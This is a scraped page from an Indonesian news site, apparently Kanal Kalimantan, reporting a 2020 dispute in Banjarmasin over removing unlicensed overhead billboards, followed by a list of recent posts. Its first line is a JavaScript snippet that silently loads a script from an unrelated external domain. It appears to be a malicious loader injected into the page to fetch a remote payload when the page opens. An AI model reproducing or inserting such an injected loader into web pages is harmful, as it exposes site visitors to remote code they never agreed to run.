(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kasatpol PP Tegas Bongkar Reklame Bando, Itu Jelas Langgar Permen PU dan Perda!


KANALKALIMANTAN.COM, BANJARMASIN – Setelah menggelar pertemuan dengan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan, Selasa (9/6/2020) siang, Wali Kota Banjarmasin H Ibnu Sina menyepakati bahwa iklan-iklan di papan reklame bando yang sempat ditertibkan dapat ditayangkan kembali.

Menurut Ketua APPSI Kalsel Winardi Sethiono, APPSI Kalsel meminta keringanan yaitu iklan-iklan yang sebelumnya ditertibkan Satpol PP Kota Banjarmasin dapat ditayangkan kembali. Karena, Winardi menyebutkan bahwa iklan bisa kembali ditayangkan, hingga tenggat waktu yang disepakati sesuai kontrak dengan klien.

“Karena kita ada terikat kontrak dengan pihak klien,” kata Winardi.

Pun, Asisten II Bidang Ekonomi Setdako Banjarmasin Ir Doyo Pudjadi juga senada. Menurutnya, penggunaan bando reklame sendiri memiliki tenggat waktu yang disepakati antara pengusaha periklanan dengan klien. Sehingga, bisa saja iklan di papan reklame bando itu dipasang kembali.

Namun demikian, pendapat berbeda justru terlontar dari Plt Kasatpol PP Kota Banjarmasin Ichwan Noor Chalik. Dihubungi melalui sambungan telepon, Ichwan membantah wacana dikembalikannya iklan-iklan yang sebelumnya ditertibkan penegak Perda.

“Tidak ada. Yang disepakati adalah JPO (jembatan penyeberangan orang). Tidak pakai tender,” kata Ichwan.

Baca juga: Asisten II: Reklame Bando Tidak Diperbolehkan Melintang di Atas Jalan  

Ichwan mengklaim, kendati sudah diberikan dispensasi yaitu diperbolehkannya iklan di papan reklame bando untuk tayang, bukan berarti dapat diambil langkah diskresi. Apalagi, selain melanggar Perda Nomor 16 tahun 2014, keberadaan bando reklame sendiri juga sudah dilarang pada Permen PU Nomor 20 Tahun 2010.

“Pokoknya itu harga mati. Walaupun yang memerintahkan itu Wali Kota, itu tetap tidak boleh,” kata Ichwan.

Malahan, ia tidak segan-segan akan membongkar bando reklame itu. Karena, sudah tidak memiliki izin lagi sejak 2018 lalu. Bahkan, karena sudah tak berizin, bukan berarti pajak reklame dapat ditarik.

“Masalahnya izinnya sudah mati. Kalau (izin) mati, pemda tidak boleh menarik pajak,” katanya.

Menurut Ichwan, iklan-iklan yang sudah dibongkar oleh jajarannya pada Senin (8/6/2020) lalu tidak dapat dipasang kembali di papan reklame bando. “Harusnya dibongkar semua itu,” ucap Ichwan yang juga Kepala Dinas Perhubungan Kota Banjarmasin ini.

Bahkan Ichwan pun tak segan-segan menyebutkan akan melakukan tindakan tegas. Jika seandainya pengusaha periklanan tetap memasang bando reklame, kendati mereka masih terikat kontrak dengan klien.

Baca juga: Papan Reklame Bando  Diubah Bentuk, Wali Kota Enggan Komentar

“Tulis besar-besar. Bila (iklan di bando reklame) hari ini dipasang, malam aku cabut,” tegas Ichwan.

Ichwan pun memberi waktu selama sepekan untuk pengusaha periklanan untuk membongkar sendiri bando reklame yang selama ini membentang di atas Jalan A Yani, Banjarmasin. “Bila mereka tidak membongkar, akan kami bongkar,” pungkas Ichwan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

52 menit ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

3 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

3 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

4 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

6 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

6 jam ago

This website uses cookies.